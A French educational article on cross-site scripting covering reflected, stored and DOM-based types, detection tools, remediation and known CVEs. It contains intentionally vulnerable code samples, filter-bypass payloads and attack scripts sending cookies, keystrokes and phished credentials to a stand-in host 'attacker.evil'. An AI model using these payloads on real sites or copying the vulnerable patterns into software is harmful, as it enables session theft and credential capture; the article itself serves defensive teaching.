Vulnérabilité XSS : explication complète pour comprendre

Une vulnérabilité XSS (Cross-Site Scripting) permet à un attaquant d'injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Classée OWASP Top 10 A03 Injection (version 2021), XSS est l'une des vulnérabilités web les plus fréquentes depuis 15 ans : détectée dans 60-70 % des applications web auditées selon les panels OWASP. Trois types principaux : reflected (payload réfléchi depuis l'URL à l'affichage), stored (payload persisté en base, exécuté à chaque consultation — plus dangereuse), DOM-based (manipulation DOM côté client, échappe aux outils serveur classiques). Impact business : vol de sessions, keylogging, défacement, redirection malveillante, exfiltration de données, avec CVSS typique 6.1 à 8.8. La remédiation efficace combine 5 mesures cumulatives : output encoding contextuel, Content Security Policy (CSP), HttpOnly cookies, input validation, framework à jour avec auto-escaping. Cet article détaille la définition précise, les 3 types avec exemples de payloads, les scénarios d'attaque concrets, l'impact business, les méthodes de détection (manuelle, automatique, code review) et les 5 mesures de remédiation pratiques.

1. Définition précise : qu'est-ce qu'une XSS ?

XSS (Cross-Site Scripting) est une classe de vulnérabilités web où une application accepte des données utilisateur non filtrées et les rend dans une page HTML, permettant l'exécution de scripts arbitraires dans le navigateur d'autres utilisateurs.

Le nom « Cross-Site Scripting » provient du fait que le script injecté s'exécute dans le contexte de l'application cible (même origine, mêmes cookies), depuis une source externe (l'attaquant). Le terme CSS ayant été déjà pris par Cascading Style Sheets, la communauté a adopté XSS pour désigner cette classe de vulnérabilités.

Mécanisme fondamental en 3 étapes :

1. Injection : l'attaquant envoie un payload JavaScript via un paramètre utilisateur (URL, formulaire, API body, header).
2. Réflexion : l'application inclut ce payload dans la page HTML sans échapper correctement les caractères spéciaux (<, >, ", ').
3. Exécution : le navigateur de la victime interprète le payload comme du code JavaScript légitime et l'exécute.

Classification OWASP

XSS est classée A03 Injection dans OWASP Top 10 2021. Dans la version 2017, XSS avait sa propre catégorie A07. La fusion dans A03 Injection reflète le fait que XSS est techniquement une injection de code dans un contexte HTML/JavaScript.

CWE associées :

• CWE-79 : Improper Neutralization of Input During Web Page Generation (XSS générique).
• CWE-80 : Basic XSS.
• CWE-81 : Error message XSS.
• CWE-83 : HTML attribute XSS.
• CWE-87 : HTML mutation XSS.

2. Les 3 types principaux de XSS (reflected, stored, DOM)

Reflected XSS (XSS réfléchie)

Mécanisme : le payload est envoyé dans une requête HTTP (URL, POST body, header) et immédiatement réfléchi dans la réponse HTML du serveur. L'exécution se produit uniquement quand la victime clique sur un lien malveillant préparé par l'attaquant.

Scénario d'attaque type :

1. Application vulnérable : https://example.com/search?q=PHRASE qui affiche « Résultats pour PHRASE ».
2. L'attaquant construit un lien malveillant contenant un payload JavaScript.
3. L'attaquant envoie le lien à la victime (email, message, publication sociale).
4. Au clic, le payload s'exécute dans le navigateur de la victime avec son contexte (cookies, session).

Exemple de code vulnérable (PHP) :

<?php
// Code PHP vulnerable a une XSS reflected
// URL: /search.php?q=<script>alert(document.cookie)</script>
$query = $_GET['q'];
echo "<h1>Resultats pour: " . $query . "</h1>";
// Le payload JavaScript est rendu tel quel dans la reponse HTML
// Le navigateur de la victime l'execute
?>

Exemple de code vulnérable (Node.js Express) :

// Code Node.js Express vulnerable a une XSS reflected
app.get('/search', (req, res) => {
  const query = req.query.q;
  // Concatenation directe dans le HTML - DANGEREUX
  res.send(`<h1>Resultats pour: ${query}</h1>`);
});

Stored XSS (XSS persistante)

Mécanisme : le payload est stocké dans la base de données de l'application (commentaire, profil utilisateur, message privé, post de blog) et exécuté à chaque consultation par d'autres utilisateurs.

Scénario d'attaque type :

1. Application vulnérable : plateforme de commentaires sans échappement HTML.
2. L'attaquant publie un commentaire contenant un payload.
3. Le payload est stocké dans la base de données tel quel.
4. Chaque utilisateur qui consulte la page subit l'exécution du payload dans son navigateur.

Impact amplifié : une XSS stored sur la page d'accueil d'un site e-commerce à trafic élevé compromet des milliers de comptes en quelques heures. C'est le type de XSS le plus dangereux.

Exemple de code vulnérable (Node.js Express + MongoDB) :

// Code Node.js vulnerable a une XSS stored
app.post('/comments', async (req, res) => {
  const content = req.body.content;
  await db.collection('comments').insertOne({ content });
  // Contenu stocke sans assainissement
});
 
app.get('/comments', async (req, res) => {
  const comments = await db.collection('comments').find().toArray();
  let html = '<h1>Commentaires</h1>';
  for (const c of comments) {
    // Rendu direct sans echappement
    html += `<div class="comment">${c.content}</div>`;
  }
  res.send(html);
});

DOM-based XSS

Mécanisme : la vulnérabilité existe côté client dans le JavaScript de l'application. Le payload manipule le DOM via des API comme innerHTML, document.write, location.hash, sans passer par le serveur. Le serveur ne voit jamais le payload — il est exploité entièrement côté navigateur.

Scénario typique :

1. Le JavaScript de la page lit location.hash (fragment de l'URL après #).
2. Il insère cette valeur dans la page via document.body.innerHTML = ....
3. L'attaquant envoie un lien avec un hash contenant un payload.
4. L'exécution se fait dans le navigateur victime, le serveur n'est jamais impliqué.

Exemple de code vulnérable (JavaScript côté client) :

// JavaScript cote client vulnerable a une DOM-based XSS
// URL: https://example.com/#<img src=x onerror=alert(1)>
const fragment = window.location.hash.substring(1);
// Injection directe dans le DOM via innerHTML
document.getElementById('content').innerHTML = fragment;
// Le payload s'execute sans jamais aller au serveur

Difficulté de détection : les outils serveur classiques (Burp Scanner, ZAP) ne voient pas le payload qui reste côté client. Détection manuelle ou outils spécialisés (DOM Invader de Burp) requise.

3. Exemples concrets de payloads et scénarios d'attaque

Payloads basiques (détection manuelle)

Ces payloads servent à tester la présence d'une XSS sur un paramètre donné :

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">
<body onload=alert(1)>

Un attaquant commence par ces payloads simples, puis teste des variantes en cas de filtrage basique.

Payloads bypass de filtres

Les applications modernes filtrent souvent les patterns évidents. Variantes de contournement :

<ScRiPt>alert(1)</ScRiPt>               # casse mixte
<scr<script>ipt>alert(1)</scr</script>ipt>  # imbrication
<img src=x onerror="alert(1)">          # event handler
<div onclick="alert(1)">click</div>     # alternative events
<script>alert(1)</script>  # encoding Unicode
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;  # entities HTML

Scénarios d'attaque à impact business

Scénario 1 — Vol de sessions :

// Payload XSS pour exfiltrer les cookies vers un serveur attaquant
<script>
  fetch('https://attacker.evil/steal?cookie=' + document.cookie);
</script>

L'attaquant récupère les cookies de session. S'ils ne sont pas marqués HttpOnly, il peut s'authentifier comme la victime sur l'application.

Scénario 2 — Keylogger :

// Payload XSS qui enregistre toutes les frappes clavier
<script>
  document.addEventListener('keydown', (e) => {
    fetch('https://attacker.evil/keys?k=' + e.key);
  });
</script>

Captures des saisies de mots de passe, numéros de CB, messages privés.

Scénario 3 — Phishing ciblé via injection de formulaire :

// Injection d'un faux formulaire pour voler les credentials
<script>
  document.body.innerHTML = `
    <h1>Session expiree, reconnectez-vous</h1>
    <form action="https://attacker.evil/phish">
      <input name="login" type="email">
      <input name="password" type="password">
      <button>Se connecter</button>
    </form>
  `;
</script>

La victime croit être déconnectée et saisit ses credentials dans le formulaire piégé.

Scénario 4 — Minage de cryptomonnaies :

// Injection d'un script de minage crypto (abus de CPU victime)
<script src="https://attacker.evil/miner.js"></script>

Moins actuel mais historiquement utilisé à grande échelle sur sites à fort trafic.

4. Impact business et CVSS typique

Coûts indirects d'une exploitation XSS

• Amendes RGPD : en cas de fuite de données personnelles suite à XSS, jusqu'à 4 % du chiffre d'affaires mondial (article 83 RGPD). Plusieurs condamnations françaises en 2023-2024 pour XSS ayant entraîné fuite de données.
• Coût d'incident response : 50-500 k€ pour un incident moyen (investigation DFIR, communication crise, remédiation, retest).
• Impact réputation : perte de confiance client, chute du NPS, churn mesurable sur 3-12 mois post-incident.
• Coût de remédiation en urgence : 5-50x plus cher qu'une remédiation préventive dans le SDLC normal.

5. Comment détecter une XSS (manuel + outils + code review)

Approche 1 — Détection manuelle (pentester)

Démarche systématique :

1. Identifier tous les points d'entrée (paramètres URL, POST, headers, API body, websockets).
2. Injecter un canary (chaîne unique facilement identifiable) pour repérer où les paramètres sont réfléchis.
3. Tester des payloads progressifs : <script>, <img onerror>, event handlers, encoding.
4. Adapter selon le contexte HTML observé (body, attribute, JavaScript, CSS, URL).
5. Confirmer l'exécution via alert, prompt, ou exfiltration vers Burp Collaborator.

Contextes d'injection et payloads adaptés :

Approche 2 — Outils automatiques

Outils principaux :

• Burp Suite Professional Scanner : active scan avec payloads XSS, détection reflected et stored. Efficace sur les cas basiques et moyens.
• OWASP ZAP : active scan similaire Burp, open source gratuit.
• XSStrike : spécialisé XSS, détection avancée avec bypass de filtres.
• Dalfox : CLI moderne, rapide, bonne couverture.
• DOMPurify tester : pour valider que la sanitization client-side résiste aux bypass.

Limites :

• Faux positifs : 20-40 % typique.
• Faux négatifs sur DOM-based XSS : outils serveur aveugles.
• Manque de contexte business : ne détecte pas les XSS dans workflows complexes.

Approche 3 — Code review (SAST)

Patterns dangereux à chercher :

Outils SAST :

• Semgrep : règles p/owasp-top-ten + p/javascript + règles personnalisées.
• SonarQube : règles XSS intégrées pour la plupart des langages.
• CodeQL : requêtes avancées pour détecter les flux taint source → sink.
• ESLint plugin security : détection JavaScript spécifique.

6. Remédiation : 5 mesures efficaces cumulatives

Mesure 1 — Output encoding contextuel (défense principale)

Principe : échapper les caractères spéciaux selon le contexte HTML où les données sont rendues.

Par contexte :

• HTML body : encoder <, >, &, ", ' en entités (<, >, &, ", ').
• HTML attribute : encoder toutes les entités non alphanumériques.
• JavaScript string : échapper \, ', ", newlines avec \x hex encoding.
• URL parameter : URL-encode (encodeURIComponent en JS).
• CSS context : éviter absolument, utiliser CSS statique uniquement.

Avec frameworks modernes (auto-escaping par défaut) :

// React - auto-escaping par defaut en JSX
function Component({ userInput }) {
  // SECURISE : JSX echappe automatiquement
  return <div>{userInput}</div>;
 
  // DANGEREUX : dangerouslySetInnerHTML bypasse l'auto-escape
  // return <div dangerouslySetInnerHTML={{__html: userInput}} />;
}

<!-- Vue - auto-escaping par defaut -->
<template>
  <!-- SECURISE : double braces echappent -->
  <div>{{ userInput }}</div>
 
  <!-- DANGEREUX : v-html bypasse -->
  <!-- <div v-html="userInput"></div> -->
</template>

Mesure 2 — Content Security Policy (CSP)

Principe : header HTTP qui restreint les sources de scripts, styles, images, etc. autorisés par le navigateur. Même si une XSS est injectée, le navigateur refuse d'exécuter le script.

Exemple de CSP stricte efficace :

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-r4nd0m123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Nonce dynamique pour scripts inline :

<!-- Le nonce doit etre genere aleatoirement a chaque requete -->
<script nonce="r4nd0m123">
  // Script legitime avec nonce correspondant au header CSP
</script>

Impact : une CSP bien configurée bloque 90 % des XSS exploitables même si le code applicatif a des failles d'échappement.

Mesure 3 — HttpOnly et Secure cookies

Principe : marquer les cookies de session avec HttpOnly pour empêcher leur accès via JavaScript. Même en cas d'XSS, l'attaquant ne peut pas voler la session via document.cookie.

Exemple de configuration cookie sécurisée :

// Node.js Express - cookies securises
res.cookie('sessionId', token, {
  httpOnly: true,   // Inaccessible via JavaScript
  secure: true,     // HTTPS uniquement
  sameSite: 'lax',  // Protection CSRF
  maxAge: 3600000,  // 1 heure
  path: '/',
});

Mesure 4 — Input validation (défense secondaire)

Principe : valider le format attendu des entrées utilisateur. Complément de la défense output encoding, pas substitut.

Exemple d'input validation stricte :

// Validation Zod cote serveur (Node.js)
import { z } from 'zod';
 
const commentSchema = z.object({
  content: z.string()
    .min(1)
    .max(2000)
    .regex(/^[\w\s\p{L}\p{P}]+$/u, 'Contenu invalide'),
  author: z.string().email(),
});
 
app.post('/comments', (req, res) => {
  const parsed = commentSchema.safeParse(req.body);
  if (!parsed.success) {
    return res.status(400).json({ error: parsed.error });
  }
  // Continuer avec donnees validees
});

Attention : ne jamais se reposer sur l'input validation seule. Les contournements existent toujours (encoding, caractères Unicode exotiques). Elle est défense secondaire, pas principale.

Mesure 5 — Framework à jour avec auto-escaping

Principe : utiliser des frameworks modernes qui échappent par défaut et maintenir leurs versions à jour.

Frameworks avec auto-escaping par défaut (2026) :

• Frontend : React (JSX), Vue (templates), Angular (templates), Svelte.
• Backend templates : Django templates, Flask Jinja2, Ruby on Rails ERB, Laravel Blade, Symfony Twig.

Vérifier les mises à jour de sécurité : chaque framework publie régulièrement des patches pour des CVE XSS. Dépendances à maintenir via SCA (Trivy, Snyk, Dependabot).

7. Exemples réels et CVE célèbres

MySpace Samy Worm (2005)

Cas historique fondateur. Samy Kamkar exploite une stored XSS sur MySpace pour créer un ver auto-propageant : chaque profil infecté ajoute le payload dans ses propres commentaires, infectant ses visiteurs. 1 million de profils infectés en 20 heures. Condamnation criminelle pour Samy. Cet incident a déclenché la prise de conscience massive sur XSS.

CVE-2023-45143 — Drupal Stored XSS

Drupal 9.5 et 10.0 vulnérables à une stored XSS via le module Views. Exploitation : un utilisateur avec permission « Administer views » peut injecter du JavaScript dans un titre de vue, exécuté par tous les utilisateurs consultant la page. CVSS 6.5 MEDIUM. Patch en octobre 2023.

CVE-2024-4441 — WordPress Plugin Stored XSS

Plugin Elementor Pro (4M+ sites WordPress) vulnérable à une stored XSS dans les widgets formulaire. Un attaquant authentifié (contributor+) peut injecter du JavaScript exécuté pour tous les visiteurs du site. CVSS 5.4 MEDIUM. Patch mai 2024.

CVE-2022-23503 — Joomla Reflected XSS

Joomla 4.2 vulnérable à une reflected XSS via le composant com_menus. Exploitable via un lien malveillant partagé. CVSS 6.1 MEDIUM. Patch décembre 2022.

Pattern commun de ces CVE

• Applications legacy avec framework auto-escaping activé mais avec usage ponctuel de rendering HTML brut (équivalent dangerouslySetInnerHTML).
• Plugins tiers qui ne bénéficient pas des protections du framework hôte.
• Features de customisation qui nécessitent de rendre du HTML fourni par utilisateurs privilégiés (backoffice, admin).

Points clés à retenir

• XSS (Cross-Site Scripting) = injection JavaScript dans page web, classée OWASP A03 Injection 2021, détectée dans 60-70 % des applications auditées.
• 3 types : reflected (URL, clic requis), stored (BDD, affecte tous les visiteurs, plus dangereuse), DOM-based (côté client pur, invisible aux scans serveur).
• Impact business : vol sessions, keylogging, défacement, phishing, exfiltration. CVSS typique 6.1-8.8.
• Détection : 3 approches complémentaires — manuel (pentester avec payloads contextualisés), automatique (Burp Scanner, ZAP, XSStrike, Dalfox), code review (Semgrep, SonarQube, CodeQL).
• Remédiation 5 mesures : (1) output encoding contextuel (défense principale), (2) CSP, (3) HttpOnly cookies, (4) input validation, (5) framework à jour avec auto-escaping.
• Frameworks modernes auto-escapent par défaut (React JSX, Vue, Angular, Django, Jinja2). Piège : usage de dangerouslySetInnerHTML ou v-html bypasse cette protection.
• CSP bloque 90 % des XSS exploitables mais n'élimine pas le problème à la source — complément, pas substitut de l'output encoding.

Pour l'introduction complète à l'OWASP Top 10 dont XSS fait partie (A03), voir Introduction à l'OWASP Top 10. Pour la méthodologie pentest web qui inclut la détection XSS, voir Qu'est-ce qu'un pentest web ? Définition, méthode, outils. Pour la fiche métier AppSec engineer (rôle qui traite XSS au quotidien en code review et pentest interne), voir Qu'est-ce qu'un AppSec engineer ? Fiche métier. Pour la spécialisation API security qui traite les variantes XSS sur API (JSON injection, XSS via réponses API), voir Qu'est-ce qu'un expert API security ? Fiche métier. Pour le rôle DevSecOps qui intègre la détection XSS en CI/CD via SAST et DAST, voir Qu'est-ce qu'un DevSecOps ? Fiche métier complète. La formation OWASP Web Security de Zeroday couvre XSS en détail avec labs Burp Suite pour détection des 3 types (reflected, stored, DOM-based), exploitation avec payloads bypass de filtres, et remédiation pratique CSP + output encoding contextuel.